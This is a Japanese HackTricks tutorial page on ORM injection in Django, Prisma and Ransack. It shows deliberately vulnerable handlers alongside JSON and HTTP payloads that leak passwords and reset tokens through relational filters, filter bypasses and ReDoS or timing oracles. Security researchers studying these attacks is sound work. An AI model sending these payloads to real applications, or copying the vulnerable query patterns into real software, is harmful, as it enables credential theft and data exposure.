mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 01:17:36 +00:00
334 lines
13 KiB
Markdown
334 lines
13 KiB
Markdown
|
# ORM Injection
|
|||
|
|
|||
|
{% hint style="success" %}
|
|||
|
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
|||
|
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|||
|
|
|||
|
<details>
|
|||
|
|
|||
|
<summary>Support HackTricks</summary>
|
|||
|
|
|||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|||
|
|
|||
|
</details>
|
|||
|
{% endhint %}
|
|||
|
|
|||
|
## Django ORM (Python)
|
|||
|
|
|||
|
[**この投稿**](https://www.elttam.com/blog/plormbing-your-django-orm/)では、例えば次のようなコードを使用することでDjango ORMを脆弱にする方法が説明されています。
|
|||
|
|
|||
|
<pre class="language-python"><code class="lang-python">class ArticleView(APIView):
|
|||
|
"""
|
|||
|
ユーザーが記事を検索するためにリクエストを送信する
|
|||
|
基本的なAPIビュー
|
|||
|
"""
|
|||
|
def post(self, request: Request, format=None):
|
|||
|
try:
|
|||
|
<strong> articles = Article.objects.filter(**request.data)
|
|||
|
</strong> serializer = ArticleSerializer(articles, many=True)
|
|||
|
except Exception as e:
|
|||
|
return Response([])
|
|||
|
return Response(serializer.data)
|
|||
|
</code></pre>
|
|||
|
|
|||
|
すべてのrequest.data(これはjsonになります)が**データベースからオブジェクトをフィルタリングするために直接渡される**ことに注意してください。攻撃者は予期しないフィルターを送信することで、予想以上のデータを漏洩させることができます。
|
|||
|
|
|||
|
例:
|
|||
|
|
|||
|
* **ログイン:** 簡単なログインで、登録されているユーザーのパスワードを漏洩させようとします。
|
|||
|
```json
|
|||
|
{
|
|||
|
"username": "admin",
|
|||
|
"password_startswith":"a"
|
|||
|
}
|
|||
|
```
|
|||
|
{% hint style="danger" %}
|
|||
|
パスワードをブルートフォースして漏洩させることが可能です。
|
|||
|
{% endhint %}
|
|||
|
|
|||
|
* **リレーショナルフィルタリング**: 操作に使用されることすら予想されていなかった列から情報を漏洩させるために、リレーションを横断することが可能です。例えば、次のリレーションを持つユーザーによって作成された記事を漏洩させることが可能であれば: Article(`created_by`) -\[1..1]-> Author (`user`) -\[1..1]-> User(`password`).
|
|||
|
```json
|
|||
|
{
|
|||
|
"created_by__user__password__contains":"pass"
|
|||
|
}
|
|||
|
```
|
|||
|
{% hint style="danger" %}
|
|||
|
すべての記事を作成したユーザーのパスワードを見つけることが可能です
|
|||
|
{% endhint %}
|
|||
|
|
|||
|
* **多対多のリレーショナルフィルタリング**: 前の例では、記事を作成していないユーザーのパスワードを見つけることができませんでした。しかし、他のリレーションシップを追うことでこれは可能です。例えば: Article(`created_by`) -\[1..1]-> Author(`departments`) -\[0..\*]-> Department(`employees`) -\[0..\*]-> Author(`user`) -\[1..1]-> User(`password`).
|
|||
|
```json
|
|||
|
{
|
|||
|
"created_by__departments__employees__user_startswith":"admi"
|
|||
|
}
|
|||
|
```
|
|||
|
{% hint style="danger" %}
|
|||
|
この場合、記事を作成したユーザーの部門にいるすべてのユーザーを見つけ、その後にパスワードを漏洩させることができます(前のjsonではユーザー名を漏洩させているだけですが、その後にパスワードを漏洩させることが可能です)。
|
|||
|
{% endhint %}
|
|||
|
|
|||
|
* **Djangoのグループと権限の多対多関係をユーザーと悪用する**: さらに、AbstractUserモデルはDjangoでユーザーを生成するために使用され、デフォルトでこのモデルには**PermissionおよびGroupテーブルとの多対多関係**があります。これは基本的に、**同じグループにいるか、同じ権限を共有している場合に、1人のユーザーから他のユーザーにアクセスするためのデフォルトの方法**です。
|
|||
|
```bash
|
|||
|
# By users in the same group
|
|||
|
created_by__user__groups__user__password
|
|||
|
|
|||
|
# By users with the same permission
|
|||
|
created_by__user__user_permissions__user__password
|
|||
|
```
|
|||
|
* **フィルター制限のバイパス**: 同じブログ投稿では、`articles = Article.objects.filter(is_secret=False, **request.data)`のようなフィルタリングの使用をバイパスすることが提案されました。is\_secret=Trueのアーティクルをダンプすることが可能です。なぜなら、リレーションシップからArticleテーブルに戻ることができ、非秘密の記事から秘密の記事を漏洩させることができるからです。結果は結合され、is\_secretフィールドは非秘密の記事でチェックされる一方で、データは秘密の記事から漏洩します。
|
|||
|
```bash
|
|||
|
Article.objects.filter(is_secret=False, categories__articles__id=2)
|
|||
|
```
|
|||
|
{% hint style="danger" %}
|
|||
|
関係を悪用することで、表示されるデータを保護するためのフィルターをバイパスすることが可能です。
|
|||
|
{% endhint %}
|
|||
|
|
|||
|
* **エラー/時間ベースのReDoS**: 前の例では、フィルタリングが機能しているかどうかによって異なる応答が得られることが期待されていましたが、それをオラクルとして使用するためです。しかし、データベースで何らかのアクションが行われ、応答が常に同じである可能性もあります。このシナリオでは、データベースエラーを発生させて新しいオラクルを得ることが可能かもしれません。
|
|||
|
```json
|
|||
|
// Non matching password
|
|||
|
{
|
|||
|
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
|
|||
|
}
|
|||
|
|
|||
|
// ReDoS matching password (will show some error in the response or check the time)
|
|||
|
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
|
|||
|
```
|
|||
|
* **SQLite**: デフォルトではregexpオペレーターがありません(サードパーティの拡張機能を読み込む必要があります)
|
|||
|
* **PostgreSQL**: デフォルトのregexタイムアウトがなく、バックトラッキングに対してより耐性があります
|
|||
|
* **MariaDB**: regexタイムアウトがありません
|
|||
|
|
|||
|
## Prisma ORM (NodeJS)
|
|||
|
|
|||
|
以下は[**この投稿から抽出されたトリック**](https://www.elttam.com/blog/plorming-your-primsa-orm/)です。
|
|||
|
|
|||
|
* **完全な検索制御**:
|
|||
|
|
|||
|
<pre class="language-javascript"><code class="lang-javascript">const app = express();
|
|||
|
|
|||
|
app.use(express.json());
|
|||
|
|
|||
|
app.post('/articles/verybad', async (req, res) => {
|
|||
|
try {
|
|||
|
// Attacker has full control of all prisma options
|
|||
|
<strong> const posts = await prisma.article.findMany(req.body.filter)
|
|||
|
</strong> res.json(posts);
|
|||
|
} catch (error) {
|
|||
|
res.json([]);
|
|||
|
}
|
|||
|
});
|
|||
|
</code></pre>
|
|||
|
|
|||
|
全てのJavaScriptボディがprismaに渡されてクエリを実行することが可能です。
|
|||
|
|
|||
|
元の投稿の例では、これは誰かによって作成されたすべての投稿をチェックし(各投稿は誰かによって作成されます)、その誰かのユーザー情報(ユーザー名、パスワードなど)も返します。
|
|||
|
```json
|
|||
|
{
|
|||
|
"filter": {
|
|||
|
"include": {
|
|||
|
"createdBy": true
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
// Response
|
|||
|
[
|
|||
|
{
|
|||
|
"id": 1,
|
|||
|
"title": "Buy Our Essential Oils",
|
|||
|
"body": "They are very healthy to drink",
|
|||
|
"published": true,
|
|||
|
"createdById": 1,
|
|||
|
"createdBy": {
|
|||
|
"email": "karen@example.com",
|
|||
|
"id": 1,
|
|||
|
"isAdmin": false,
|
|||
|
"name": "karen",
|
|||
|
"password": "super secret passphrase",
|
|||
|
"resetToken": "2eed5e80da4b7491"
|
|||
|
}
|
|||
|
},
|
|||
|
...
|
|||
|
]
|
|||
|
```
|
|||
|
以下は、パスワードを持つ誰かによって作成されたすべての投稿を選択し、パスワードを返します:
|
|||
|
```json
|
|||
|
{
|
|||
|
"filter": {
|
|||
|
"select": {
|
|||
|
"createdBy": {
|
|||
|
"select": {
|
|||
|
"password": true
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
// Response
|
|||
|
[
|
|||
|
{
|
|||
|
"createdBy": {
|
|||
|
"password": "super secret passphrase"
|
|||
|
}
|
|||
|
},
|
|||
|
...
|
|||
|
]
|
|||
|
```
|
|||
|
* **完全な where 句の制御**:
|
|||
|
|
|||
|
攻撃者が `where` 句を制御できる状況を見てみましょう:
|
|||
|
|
|||
|
<pre class="language-javascript"><code class="lang-javascript">app.get('/articles', async (req, res) => {
|
|||
|
try {
|
|||
|
const posts = await prisma.article.findMany({
|
|||
|
<strong> where: req.query.filter as any // ORMの漏洩に対して脆弱
|
|||
|
</strong> })
|
|||
|
res.json(posts);
|
|||
|
} catch (error) {
|
|||
|
res.json([]);
|
|||
|
}
|
|||
|
});
|
|||
|
</code></pre>
|
|||
|
|
|||
|
ユーザーのパスワードを直接フィルタリングすることが可能です:
|
|||
|
```javascript
|
|||
|
await prisma.article.findMany({
|
|||
|
where: {
|
|||
|
createdBy: {
|
|||
|
password: {
|
|||
|
startsWith: "pas"
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
})
|
|||
|
```
|
|||
|
{% hint style="danger" %}
|
|||
|
`startsWith`のような操作を使用すると、情報が漏洩する可能性があります。 
|
|||
|
{% endhint %}
|
|||
|
|
|||
|
* **多対多のリレーショナルフィルタリングによるフィルタリングのバイパス:** 
|
|||
|
```javascript
|
|||
|
app.post('/articles', async (req, res) => {
|
|||
|
try {
|
|||
|
const query = req.body.query;
|
|||
|
query.published = true;
|
|||
|
const posts = await prisma.article.findMany({ where: query })
|
|||
|
res.json(posts);
|
|||
|
} catch (error) {
|
|||
|
res.json([]);
|
|||
|
}
|
|||
|
});
|
|||
|
```
|
|||
|
`Category` -\[\*..\*]-> `Article` の多対多の関係を利用して、未公開の記事を漏洩させることが可能です:
|
|||
|
```json
|
|||
|
{
|
|||
|
"query": {
|
|||
|
"categories": {
|
|||
|
"some": {
|
|||
|
"articles": {
|
|||
|
"some": {
|
|||
|
"published": false,
|
|||
|
"{articleFieldToLeak}": {
|
|||
|
"startsWith": "{testStartsWith}"
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
```
|
|||
|
すべてのユーザーを漏洩させることも可能であり、いくつかのループバック多対多関係を悪用することができます:
|
|||
|
```json
|
|||
|
{
|
|||
|
"query": {
|
|||
|
"createdBy": {
|
|||
|
"departments": {
|
|||
|
"some": {
|
|||
|
"employees": {
|
|||
|
"some": {
|
|||
|
"departments": {
|
|||
|
"some": {
|
|||
|
"employees": {
|
|||
|
"some": {
|
|||
|
"departments": {
|
|||
|
"some": {
|
|||
|
"employees": {
|
|||
|
"some": {
|
|||
|
"{fieldToLeak}": {
|
|||
|
"startsWith": "{testStartsWith}"
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
```
|
|||
|
* **エラー/タイムクエリ**: 元の投稿では、タイムベースのペイロードを使用して情報を漏洩させるための最適なペイロードを見つけるために実施された非常に広範なテストセットを読むことができます。これは:
|
|||
|
```json
|
|||
|
{
|
|||
|
"OR": [
|
|||
|
{
|
|||
|
"NOT": {ORM_LEAK}
|
|||
|
},
|
|||
|
{CONTAINS_LIST}
|
|||
|
]
|
|||
|
}
|
|||
|
```
|
|||
|
Where the `{CONTAINS_LIST}` は、**正しい漏洩が見つかったときに応答が遅延することを確認するための1000の文字列のリストです。**
|
|||
|
|
|||
|
## **Ransack (Ruby)**
|
|||
|
|
|||
|
これらのトリックは[**この投稿で見つかりました**](https://positive.security/blog/ransack-data-exfiltration)**。**
|
|||
|
|
|||
|
{% hint style="success" %}
|
|||
|
**Ransack 4.0.0.0では、検索可能な属性と関連付けのために明示的な許可リストの使用が強制されることに注意してください。**
|
|||
|
{% endhint %}
|
|||
|
|
|||
|
**脆弱な例:**
|
|||
|
```ruby
|
|||
|
def index
|
|||
|
@q = Post.ransack(params[:q])
|
|||
|
@posts = @q.result(distinct: true)
|
|||
|
end
|
|||
|
```
|
|||
|
注意してください、クエリは攻撃者によって送信されたパラメータによって定義されます。例えば、リセットトークンをブルートフォースすることが可能でした:
|
|||
|
```http
|
|||
|
GET /posts?q[user_reset_password_token_start]=0
|
|||
|
GET /posts?q[user_reset_password_token_start]=1
|
|||
|
...
|
|||
|
```
|
|||
|
ブルートフォースと潜在的な関係を利用することで、データベースからより多くのデータを漏洩させることが可能でした。
|
|||
|
|
|||
|
## 参考文献
|
|||
|
|
|||
|
* [https://www.elttam.com/blog/plormbing-your-django-orm/](https://www.elttam.com/blog/plormbing-your-django-orm/)
|
|||
|
* [https://www.elttam.com/blog/plorming-your-primsa-orm/](https://www.elttam.com/blog/plorming-your-primsa-orm/)
|
|||
|
* [https://positive.security/blog/ransack-data-exfiltration](https://positive.security/blog/ransack-data-exfiltration)
|
|||
|
|
|||
|
{% hint style="success" %}
|
|||
|
AWSハッキングを学び、実践する:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
|||
|
GCPハッキングを学び、実践する:<img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|||
|
|
|||
|
<details>
|
|||
|
|
|||
|
<summary>HackTricksをサポートする</summary>
|
|||
|
|
|||
|
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
|||
|
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
|||
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
|
|||
|
|
|||
|
</details>
|
|||
|
{% endhint %}
|